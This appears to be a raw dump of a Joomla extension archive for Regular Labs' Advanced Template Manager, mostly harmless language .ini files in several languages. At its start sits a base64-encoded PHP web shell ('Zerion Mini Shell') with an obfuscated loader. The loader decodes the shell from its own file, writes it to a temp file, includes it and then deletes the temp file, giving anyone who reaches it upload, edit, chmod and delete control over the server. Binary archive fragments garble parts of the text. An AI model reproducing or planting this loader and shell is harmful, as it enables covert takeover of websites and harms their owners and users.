jx0ZD4nO2lmKGlzc2V0KCRfUE9TVFsncGF0aF9jcmVhdGUnXSkpIHtpZihAbWtkaXIoJHBhdGguJy8nIC4gJF9QT1NUWydwYXRoX2NyZWF0ZSddKSl7ZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj5jcmVhdGUgc3VjY2VzcyA6KiAnLiRwYXRoLicvJyAuICRfUE9TVFsncGF0aF9jcmVhdGUnXS4nPC9mb250PjxiciAvPic7fWVsc2V7ZWNobyAnPGZvbnQgY29sb3I9InJlZCI+Y3JlYXRlIGZhaWxlZCA6KiAnLiRwYXRoLicvJyAuICRfUE9TVFsncGF0aF9jcmVhdGUnXS4nPC9mb250PjxiciAvPic7fX1pZihpc3NldCgkX0ZJTEVTWydmaWxlJ10pKXsgaWYoY29weSgkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ10sJHBhdGguJy8nLiRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKSl7IGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+RmlsZSBUZXItVXBsb2FkIDoqIDwvZm9udD48YnIgLz4nOyB9ZWxzZXsgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+VXBsb2FkIGdhZ2FsLCBTZXJ2ZXJueWEga2VrIDxpbWcgc3JjPSJodHRwOi8vYy5mYXN0Y29tcGFueS5uZXQvYXNzZXRfZmlsZXMvLS8yMDE0LzExLzExLzRGNC5naWYiLz4NCiA8L2ZvbnQ+PGJyIC8+JzsgfSB9IGVjaG8gJzxmb3JtIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG1ldGhvZD0iUE9TVCI+DQpVcGxvYWQgRmlsZSA6IDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlIiAvPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9InVwbG9hZCIgLz4NCjwvZm9ybT4NCjwvdGQ+PC90cj4NCjx0cj48dGQ+PGZvcm0gZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbWV0aG9kPSJQT1NUIj4NCkNyZWF0ZSBQYXRoIDogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InBhdGhfY3JlYXRlIiAvPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9ImNyZWF0ZSIgLz4NCjwvZm9ybT48L3RkPjwvdGQ+JzsgaWYoaXNzZXQoJF9HRVRbJ2ZpbGVzcmMnXSkpeyBlY2hvICI8dHI+PHRkPkN1cnJlbnQgRmlsZSA6ICI7IGVjaG8gJF9HRVRbJ2ZpbGVzcmMnXTsgZWNobyAnPC90cj48L3RkPjwvdGFibGU+PGJyIC8+JzsgZWNobygnPHByZT4nLmh0bWxzcGVjaWFsY2hhcnMoZmlsZV9nZXRfY29udGVudHMoJF9HRVRbJ2ZpbGVzcmMnXSkpLic8L3ByZT4nKTsgfWVsc2VpZihpc3NldCgkX0dFVFsnb3B0aW9uJ10pICYmICRfUE9TVFsnb3B0J10gIT0gJ2RlbGV0ZScpeyBlY2hvICc8L3RhYmxlPjxiciAvPjxjZW50ZXI+Jy4kX1BPU1RbJ3BhdGgnXS4nPGJyIC8+PGJyIC8+JzsgaWYoJF9QT1NUWydvcHQnXSA9PSAnY2htb2QnKXsgaWYoaXNzZXQoJF9QT1NUWydwZXJtJ10pKXsgaWYoY2htb2QoJF9QT1NUWydwYXRoJ10sb2N0ZGVjKCRfUE9TVFsncGVybSddKSkpeyBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPkNoYW5nZSBQZXJtaXNzaW9uIERvbmUuPC9mb250PjxiciAvPic7IH1lbHNleyBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj5DaGFuZ2UgUGVybWlzc2lvbiBFcnJvci48L2ZvbnQ+PGJyIC8+JzsgfSB9IGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+DQpQZXJtaXNzaW9uIDogPGlucHV0IG5hbWU9InBlcm0iIHR5cGU9InRleHQiIHNpemU9IjQiIHZhbHVlPSInLnN1YnN0cihzcHJpbnRmKCclbycsIGZpbGVwZXJtcygkX1BPU1RbJ3BhdGgnXSkpLCAtNCkuJyIgLz4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRfUE9TVFsncGF0aCddLiciPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ib3B0IiB2YWx1ZT0iY2htb2QiPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkdvIiAvPg0KPC9mb3JtPic7IH1lbHNlaWYoJF9QT1NUWydvcHQnXSA9PSAncmVuYW1lJyl7IGlmKGlzc2V0KCRfUE9TVFsnbmV3bmFtZSddKSl7IGlmKHJlbmFtZSgkX1BPU1RbJ3BhdGgnXSwkcGF0aC4nLycuJF9QT1NUWyduZXduYW1lJ10pKXsgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj5DaGFuZ2UgTmFtZSBEb25lLjwvZm9udD48YnIgLz4nOyB9ZWxzZXsgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+Q2hhbmdlIE5hbWUgRXJyb3IuPC9mb250PjxiciAvPic7IH0gJF9QT1NUWyduYW1lJ10gPSAkX1BPU1RbJ25ld25hbWUnXTsgfSBlY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPg0KTmV3IE5hbWUgOiA8aW5wdXQgbmFtZT0ibmV3bmFtZSIgdHlwZT0idGV4dCIgc2l6ZT0iMjAiIHZhbHVlPSInLiRfUE9TVFsnbmFtZSddLiciIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kX1BPU1RbJ3BhdGgnXS4nIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9InJlbmFtZSI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iR28iIC8+DQo8L2Zvcm0+JzsgfWVsc2VpZigkX1BPU1RbJ29wdCddID09ICdlZGl0Jyl7IGlmKGlzc2V0KCRfUE9TVFsnc3JjJ10pKXsgJGZwID0gZm9wZW4oJF9QT1NUWydwYXRoJ10sJ3cnKTsgaWYoZndyaXRlKCRmcCwkX1BPU1RbJ3NyYyddKSl7IGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+RWRpdCBGaWxlIERvbmUgfl9eLjwvZm9udD48YnIgLz4nOyB9ZWxzZXsgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+RWRpdCBGaWxlIEVycm9yIH5ffi48L2ZvbnQ+PGJyIC8+JzsgfSBmY2xvc2UoJGZwKTsgfSBlY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPg0KPHRleHRhcmVhIGNvbHM9ODAgcm93cz0yMCBuYW1lPSJzcmMiPicuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkX1BPU1RbJ3BhdGgnXSkpLic8L3RleHRhcmVhPjxiciAvPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGF0aCIgdmFsdWU9IicuJF9QT1NUWydwYXRoJ10uJyI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJlZGl0Ij4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJHbyIgLz4NCjwvZm9ybT4nOyB9IGVjaG8gJzwvY2VudGVyPic7IH1lbHNleyBlY2hvICc8L3RhYmxlPjxiciAvPjxjZW50ZXI+JzsgaWYoaXNzZXQoJF9HRVRbJ29wdGlvbiddKSAmJiAkX1BPU1RbJ29wdCddID09ICdkZWxldGUnKXsgaWYoJF9QT1NUWyd0eXBlJ10gPT0gJ2RpcicpeyBpZihybWRpcigkX1BPU1RbJ3BhdGgnXSkpeyBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPkRlbGV0ZSBEaXIgRG9uZS48L2ZvbnQ+PGJyIC8+JzsgfWVsc2V7IGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPkRlbGV0ZSBEaXIgRXJyb3IuPC9mb250PjxiciAvPic7IH0gfWVsc2VpZigkX1BPU1RbJ3R5cGUnXSA9PSAnZmlsZScpeyBpZih1bmxpbmsoJF9QT1NUWydwYXRoJ10pKXsgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj5EZWxldGUgRmlsZSBEb25lLjwvZm9udD48YnIgLz4nOyB9ZWxzZXsgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+RGVsZXRlIEZpbGUgRXJyb3IuPC9mb250PjxiciAvPic7IH0gfSB9IGVjaG8gJzwvY2VudGVyPic7ICRzY2FuZGlyID0gc2NhbmRpcigkcGF0aCk7IGVjaG8gJzxkaXYgaWQ9ImNvbnRlbnQiPjx0YWJsZSB3aWR0aD0iNzAwIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIzIiBjZWxsc3BhY2luZz0iMSIgYWxpZ249ImNlbnRlciI+DQo8dHIgY2xhc3M9ImZpcnN0Ij4NCjx0ZD48Y2VudGVyPk5hbWU8L2NlbnRlcj48L3RkPg0KPHRkPjxjZW50ZXI+U2l6ZTwvY2VudGVyPjwvdGQ+DQo8dGQ+PGNlbnRlcj5QZXJtaXNzaW9uczwvY2VudGVyPjwvdGQ+DQo8dGQ+PGNlbnRlcj5PcHRpb25zPC9jZW50ZXI+PC90ZD4NCjwvdHI+JzsgZm9yZWFjaCgkc2NhbmRpciBhcyAkZGlyKXsgaWYoIWlzX2RpcigiJHBhdGgvJGRpciIpIHx8ICRkaXIgPT0gJy4nIHx8ICRkaXIgPT0gJy4uJykgY29udGludWU7IGVjaG8gIjx0cj4NCjx0ZD48YSBocmVmPVwiP3BhdGg9JHBhdGgvJGRpclwiPiRkaXI8L2E+PC90ZD4NCjx0ZD48Y2VudGVyPi0tPC9jZW50ZXI+PC90ZD4NCjx0ZD48Y2VudGVyPiI7IGlmKGlzX3dyaXRhYmxlKCIkcGF0aC8kZGlyIikpIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+JzsgZWxzZWlmKCFpc19yZWFkYWJsZSgiJHBhdGgvJGRpciIpKSBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj4nOyBlY2hvIHBlcm1zKCIkcGF0aC8kZGlyIik7IGlmKGlzX3dyaXRhYmxlKCIkcGF0aC8kZGlyIikgfHwgIWlzX3JlYWRhYmxlKCIkcGF0aC8kZGlyIikpIGVjaG8gJzwvZm9udD4nOyBlY2hvICI8L2NlbnRlcj48L3RkPg0KPHRkPjxjZW50ZXI+PGZvcm0gbWV0aG9kPVwiUE9TVFwiIGFjdGlvbj1cIj9vcHRpb24mcGF0aD0kcGF0aFwiPg0KPHNlbGVjdCBuYW1lPVwib3B0XCI+DQo8b3B0aW9uIHZhbHVlPVwiXCI+PC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPVwiZGVsZXRlXCI+RGVsZXRlPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPVwiY2htb2RcIj5DaG1vZDwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT1cInJlbmFtZVwiPlJlbmFtZTwvb3B0aW9uPg0KPC9zZWxlY3Q+DQo8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJ0eXBlXCIgdmFsdWU9XCJkaXJcIj4NCjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cIm5hbWVcIiB2YWx1ZT1cIiRkaXJcIj4NCjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInBhdGhcIiB2YWx1ZT1cIiRwYXRoLyRkaXJcIj4NCjxpbnB1dCB0eXBlPVwic3VibWl0XCIgdmFsdWU9XCI+XCIgLz4NCjwvZm9ybT48L2NlbnRlcj48L3RkPg0KPC90cj4iOyB9IGVjaG8gJzx0ciBjbGFzcz0iZmlyc3QiPjx0ZD48L3RkPjx0ZD48L3RkPjx0ZD48L3RkPjx0ZD48L3RkPjwvdHI+JzsgZm9yZWFjaCgkc2NhbmRpciBhcyAkZmlsZSl7IGlmKCFpc19maWxlKCIkcGF0aC8kZmlsZSIpKSBjb250aW51ZTsgJHNpemUgPSBmaWxlc2l6ZSgiJHBhdGgvJGZpbGUiKS8xMDI0OyAkc2l6ZSA9IHJvdW5kKCRzaXplLDMpOyBpZigkc2l6ZSA+PSAxMDI0KXsgJHNpemUgPSByb3VuZCgkc2l6ZS8xMDI0LDIpLicgTUInOyB9ZWxzZXsgJHNpemUgPSAkc2l6ZS4nIEtCJzsgfSBlY2hvICI8dHI+DQo8dGQ+PGEgaHJlZj1cIj9maWxlc3JjPSRwYXRoLyRmaWxlJnBhdGg9JHBhdGhcIj4kZmlsZTwvYT48L3RkPg0KPHRkPjxjZW50ZXI+Ii4kc2l6ZS4iPC9jZW50ZXI+PC90ZD4NCjx0ZD48Y2VudGVyPiI7IGlmKGlzX3dyaXRhYmxlKCIkcGF0aC8kZmlsZSIpKSBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPic7IGVsc2VpZighaXNfcmVhZGFibGUoIiRwYXRoLyRmaWxlIikpIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPic7IGVjaG8gcGVybXMoIiRwYXRoLyRmaWxlIik7IGlmKGlzX3dyaXRhYmxlKCIkcGF0aC8kZmlsZSIpIHx8ICFpc19yZWFkYWJsZSgiJHBhdGgvJGZpbGUiKSkgZWNobyAnPC9mb250Pic7IGVjaG8gIjwvY2VudGVyPjwvdGQ+DQo8dGQ+PGNlbnRlcj48Zm9ybSBtZXRob2Q9XCJQT1NUXCIgYWN0aW9uPVwiP29wdGlvbiZwYXRoPSRwYXRoXCI+DQo8c2VsZWN0IG5hbWU9XCJvcHRcIj4NCjxvcHRpb24gdmFsdWU9XCJcIj48L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9XCJkZWxldGVcIj5EZWxldGU8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9XCJjaG1vZFwiPkNobW9kPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPVwicmVuYW1lXCI+UmVuYW1lPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPVwiZWRpdFwiPkVkaXQ8L29wdGlvbj4NCjwvc2VsZWN0Pg0KDQo8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJ0eXBlXCIgdmFsdWU9XCJmaWxlXCI+DQo8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJuYW1lXCIgdmFsdWU9XCIkZmlsZVwiPg0KPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwicGF0aFwiIHZhbHVlPVwiJHBhdGgvJGZpbGVcIj4NCjxpbnB1dCB0eXBlPVwic3VibWl0XCIgdmFsdWU9XCI+XCIgLz4NCjwvZm9ybT48L2NlbnRlcj48L3RkPg0KPC90cj4iOyB9IGVjaG8gJzwvdGFibGU+DQo8L2Rpdj4nOyB9IGVjaG8gJzxjZW50ZXI+PGJyIC8+WmVyaW9uIE1pbmkgU2hlbGwgPGZvbnQgY29sb3I9ImdyZWVuIj4xLjA8L2ZvbnQ+PC9jZW50ZXI+DQo8L0JPRFk+DQo8L0hUTUw+JzsgZnVuY3Rpb24gcGVybXMoJGZpbGUpeyAkcGVybXMgPSBmaWxlcGVybXMoJGZpbGUpOyBpZiAoKCRwZXJtcyAmIDB4QzAwMCkgPT0gMHhDMDAwKSB7ICRpbmZvID0gJ3MnOyB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4QTAwMCkgPT0gMHhBMDAwKSB7ICRpbmZvID0gJ2wnOyB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4ODAwMCkgPT0gMHg4MDAwKSB7ICRpbmZvID0gJy0nOyB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4NjAwMCkgPT0gMHg2MDAwKSB7ICRpbmZvID0gJ2InOyB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4NDAwMCkgPT0gMHg0MDAwKSB7ICRpbmZvID0gJ2QnOyB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4MjAwMCkgPT0gMHgyMDAwKSB7ICRpbmZvID0gJ2MnOyB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4MTAwMCkgPT0gMHgxMDAwKSB7ICRpbmZvID0gJ3AnOyB9IGVsc2UgeyAkaW5mbyA9ICd1JzsgfSAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDEwMCkgPyAncicgOiAnLScpOyAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA4MCkgPyAndycgOiAnLScpOyAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA0MCkgPyAoKCRwZXJtcyAmIDB4MDgwMCkgPyAncycgOiAneCcgKSA6ICgoJHBlcm1zICYgMHgwODAwKSA/ICdTJyA6ICctJykpOyAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAyMCkgPyAncicgOiAnLScpOyAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAxMCkgPyAndycgOiAnLScpOyAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwOCkgPyAoKCRwZXJtcyAmIDB4MDQwMCkgPyAncycgOiAneCcgKSA6ICgoJHBlcm1zICYgMHgwNDAwKSA/ICdTJyA6ICctJykpOyAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwNCkgPyAncicgOiAnLScpOyAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwMikgPyAndycgOiAnLScpOyAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwMSkgPyAoKCRwZXJtcyAmIDB4MDIwMCkgPyAndCcgOiAneCcgKSA6ICgoJHBlcm1zICYgMHgwMjAwKSA/ICdUJyA6ICctJykpOyByZXR1cm4gJGluZm87IH0=diekssekusi
===================================================================================================**/
preg_match('/'.base64_decode('ZGl1bmRkdWgoLis/KWRpZWtzc2VrdXNp').'/si',file_get_contents/*******/(__FILE__),$o0);
$o = tempnam(sys_get_temp_dir(), '____');
file_put_contents($o, base64_decode($o0[1]));
// Include file yang telah diunduh dari URL
include $o;
// Hapus file sementara setelah dieksekusi
unlink($o);PKao�[�4�Jadvancedtemplates/language/en-GB/en-GB.plg_actionlog_advancedtemplates.ininu�[���;;
@package         Advanced Template Manager
;; @version         3.9.5
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://www.regularlabs.com
;; @copyright       Copyright © 2021 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See:
https://www.regularlabs.com/translate

PLG_ACTIONLOG_ADVANCEDTEMPLATES="Action Log - Regular Labs - Advanced
Template Manager"
PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Record the actions of users for
Advanced Template Manager"
ADVANCEDTEMPLATEMANAGER="Advanced Template Manager"

ADVANCEDTEMPLATEMANAGER_DESC="With Advanced Template Manager you have
extra options and functionality to control your templates."

ATP_SETTINGS="Please see the [[%1:start link%]]Template
Manager[[%2:end link%]] for settings."
ATP_THE_COMPONENT="the Advanced Template Manager component"
ATP_THE_SYSTEM_PLUGIN="the Advanced Template Manager system
plugin"

ATP_ACTION_FOLDER_FILE_ACTIONS="Folder/File Actions"
ATP_ACTION_TEMPLATE_COPY="Copy Template"
ATP_ACTIONLOGS_FILE_ADDED="User <a
href='{accountlink}'>{username}</a> added <a
href='{filelink}'>{file}</a> to template
{template}"
ATP_ACTIONLOGS_FILE_DELETED="User <a
href='{accountlink}'>{username}</a> deleted {file} from
template {template}"
ATP_ACTIONLOGS_FILE_UPDATED="User <a
href='{accountlink}'>{username}</a> updated <a
href='{filelink}'>{file}</a> in template
{template}"
ATP_ACTIONLOGS_STYLE_SET_HOME="User <a
href='{accountlink}'>{username}</a> changed the default
template style to <a
href='{style_link}'>{style_name}</a>"
ATP_ACTIONLOGS_TEMPLATE_COPY="User <a
href='{accountlink}'>{username}</a> created a new
template called '{to_name}' (copy of
'{from_name}')"
ATP_TEMPLATE_FILE="template file"
PKao�[ܡ�f��Nadvancedtemplates/language/en-GB/en-GB.plg_actionlog_advancedtemplates.sys.ininu�[���;;
@package         Advanced Template Manager
;; @version         3.9.5
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://www.regularlabs.com
;; @copyright       Copyright © 2021 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See:
https://www.regularlabs.com/translate

PLG_ACTIONLOG_ADVANCEDTEMPLATES="Action Log - Regular Labs - Advanced
Template Manager"
PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Record the actions of users for
Advanced Template Manager"
ADVANCEDTEMPLATEMANAGER="Advanced Template Manager"
PKao�[RR�ܣ�Jadvancedtemplates/language/et-EE/et-EE.plg_actionlog_advancedtemplates.ininu�[���;;
@package         Advanced Template Manager
;; @version         3.9.5
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://www.regularlabs.com
;; @copyright       Copyright © 2021 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See:
https://www.regularlabs.com/translate

PLG_ACTIONLOG_ADVANCEDTEMPLATES="Toimingute logi - Regular Labs -
Lisavõimalustega kujunduste haldamine"
PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Salvesta kasutajate toimingud
lisavõimalustega kujunduste halduris"
ADVANCEDTEMPLATEMANAGER="Lisavõimalustega kujunduste haldur"

ADVANCEDTEMPLATEMANAGER_DESC="Lisavõimalustega kujunduste haldur
annab juurde mõned lisavõimalused ja -funktsioonid, et võtta oma
kujundustest ja nende stiilidest viimast."

ATP_SETTINGS="Palun vaata [[%1:start link%]]Kujunduste halduri[[%2:end
link%]] seadeid."
ATP_THE_COMPONENT="Lisavõimalustega kujunduste haldur"
ATP_THE_SYSTEM_PLUGIN="lisavõimalustega kujundustehalduri
süsteemiplugin"

ATP_ACTION_FOLDER_FILE_ACTIONS="Kausta/faili toimingud"
ATP_ACTION_TEMPLATE_COPY="Kopeeri kujundus"
ATP_ACTIONLOGS_FILE_ADDED="Kasutaja <a
href='{accountlink}'>{username}</a> lisas kujundusele
{template} faili <a
href='{filelink}'>{file}</a>"
ATP_ACTIONLOGS_FILE_DELETED="Kasutaja <a
href='{accountlink}'>{username}</a> kustutas kujundusest
{template} faili {file}"
ATP_ACTIONLOGS_FILE_UPDATED="Kasutaja <a
href='{accountlink}'>{username}</a> uuendas kujunduse
{template} faili <a
href='{filelink}'>{file}</a>"
ATP_ACTIONLOGS_STYLE_SET_HOME="Kasutaja <a
href='{accountlink}'>{username}</a> määras kujunduse
vaikimisi stiiliks <a
href='{style_link}'>{style_name}</a>"
ATP_ACTIONLOGS_TEMPLATE_COPY="Kasutaja <a
href='{accountlink}'>{username}</a> lõi uue kujunduse
nimega '{to_name}' (koopia kujundusest
'{from_name}')"
ATP_TEMPLATE_FILE="kujunduse fail"
PKao�[ɺ�Nadvancedtemplates/language/et-EE/et-EE.plg_actionlog_advancedtemplates.sys.ininu�[���;;
@package         Advanced Template Manager
;; @version         3.9.5
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://www.regularlabs.com
;; @copyright       Copyright © 2021 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See:
https://www.regularlabs.com/translate

PLG_ACTIONLOG_ADVANCEDTEMPLATES="Toimingute logi - Regular Labs -
Lisavõimalustega kujunduste haldamine"
PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Salvesta kasutajate toimingud
lisavõimalustega kujunduste halduris"
ADVANCEDTEMPLATEMANAGER="Lisavõimalustega kujunduste haldur"
PKao�[*0���Jadvancedtemplates/language/fr-FR/fr-FR.plg_actionlog_advancedtemplates.ininu�[���;;
@package         Advanced Template Manager
;; @version         3.9.5
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://www.regularlabs.com
;; @copyright       Copyright © 2021 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See:
https://www.regularlabs.com/translate

PLG_ACTIONLOG_ADVANCEDTEMPLATES="Journal des actions - Regular Labs -
Advanced Template Manager"
PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Enregistrer les actions des
utilisateurs pour Advanced Template Manager"
ADVANCEDTEMPLATEMANAGER="Gestionnaire avancé de Template"

ADVANCEDTEMPLATEMANAGER_DESC="Avec Advanced Template Manager vous
disposez d'options et de fonctionnalités supplémentaires afin de
mieux contrôler vos templates."

ATP_SETTINGS="Merci de vous rendre dans la [[%1:start link%]]Gestion
des templates[[%2:end link%]] pour les paramètrages."
ATP_THE_COMPONENT="Le composant Advanced Template Manager"
ATP_THE_SYSTEM_PLUGIN="Plugin système Advanced Template Manager"

ATP_ACTION_FOLDER_FILE_ACTIONS="Actions Dossier/Fichier"
ATP_ACTION_TEMPLATE_COPY="Copier le template"
ATP_ACTIONLOGS_FILE_ADDED="L'utilisateur <a
href='{accountlink}'>{username}</a> a ajouté <a
href='{filelink}'>{file}</a> au template
{template}"
ATP_ACTIONLOGS_FILE_DELETED="L'utilisateur <a
href='{accountlink}'>{username}</a> a supprimé {file}
du template {template}"
ATP_ACTIONLOGS_FILE_UPDATED="L'utilisateur <a
href='{accountlink}'>{username}</a> a mis à jour <a
href='{filelink}'>{file}</a> dans le template
{template}"
ATP_ACTIONLOGS_STYLE_SET_HOME="L'utilisateur <a
href='{accountlink}'>{username}</a> a changé le style
par défaut du template en <a
href='{style_link}'>{style_name}</a>"
ATP_ACTIONLOGS_TEMPLATE_COPY="L'utilisateur <a
href='{accountlink}'>{username}</a> a créé un nouveau
template basé sur '{to_name}' (copie de
'{from_name}')"
ATP_TEMPLATE_FILE="fichier de template"
PKao�[0(s{��Nadvancedtemplates/language/fr-FR/fr-FR.plg_actionlog_advancedtemplates.sys.ininu�[���;;
@package         Advanced Template Manager
;; @version         3.9.5
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://www.regularlabs.com
;; @copyright       Copyright © 2021 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See:
https://www.regularlabs.com/translate

PLG_ACTIONLOG_ADVANCEDTEMPLATES="Journal des actions - Regular Labs -
Advanced Template Manager"
PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Enregistrer les actions des
utilisateurs pour Advanced Template Manager"
ADVANCEDTEMPLATEMANAGER="Gestionnaire avancé de Template"
PKao�[%(+�BBJadvancedtemplates/language/id-ID/id-ID.plg_actionlog_advancedtemplates.ininu�[���;;
@package         Advanced Template Manager
;; @version         3.9.5
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://www.regularlabs.com
;; @copyright       Copyright © 2021 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See:
https://www.regularlabs.com/translate

; PLG_ACTIONLOG_ADVANCEDTEMPLATES="Action Log - Regular Labs -
Advanced Template Manager"
; PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Record the actions of users
for Advanced Template Manager"
ADVANCEDTEMPLATEMANAGER="Advanced Template Manager"

ADVANCEDTEMPLATEMANAGER_DESC="Dengan Advanced Template Manager anda
memiliki opsi dan fungsi tambahan guna mengendalikan templat-templat."

ATP_SETTINGS="Silakan lihat [[%1:start link%]]Pengelolaan
Templat[[%2:end link%]] untuk pengaturannya."
ATP_THE_COMPONENT="komponen Advanced Template Manager"
; ATP_THE_SYSTEM_PLUGIN="the Advanced Template Manager system
plugin"

; ATP_ACTION_FOLDER_FILE_ACTIONS="Folder/File Actions"
; ATP_ACTION_TEMPLATE_COPY="Copy Template"
; ATP_ACTIONLOGS_FILE_ADDED="User <a
href='{accountlink}'>{username}</a> added <a
href='{filelink}'>{file}</a> to template
{template}"
; ATP_ACTIONLOGS_FILE_DELETED="User <a
href='{accountlink}'>{username}</a> deleted {file} from
template {template}"
; ATP_ACTIONLOGS_FILE_UPDATED="User <a
href='{accountlink}'>{username}</a> updated <a
href='{filelink}'>{file}</a> in template
{template}"
; ATP_ACTIONLOGS_STYLE_SET_HOME="User <a
href='{accountlink}'>{username}</a> changed the default
template style to <a
href='{style_link}'>{style_name}</a>"
; ATP_ACTIONLOGS_TEMPLATE_COPY="User <a
href='{accountlink}'>{username}</a> created a new
template called '{to_name}' (copy of
'{from_name}')"
; ATP_TEMPLATE_FILE="template file"
PKao�[���e��Nadvancedtemplates/language/id-ID/id-ID.plg_actionlog_advancedtemplates.sys.ininu�[���;;
@package         Advanced Template Manager
;; @version         3.9.5
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://www.regularlabs.com
;; @copyright       Copyright © 2021 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See:
https://www.regularlabs.com/translate

; PLG_ACTIONLOG_ADVANCEDTEMPLATES="Action Log - Regular Labs -
Advanced Template Manager"
; PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Record the actions of users
for Advanced Template Manager"
ADVANCEDTEMPLATEMANAGER="Advanced Template Manager"
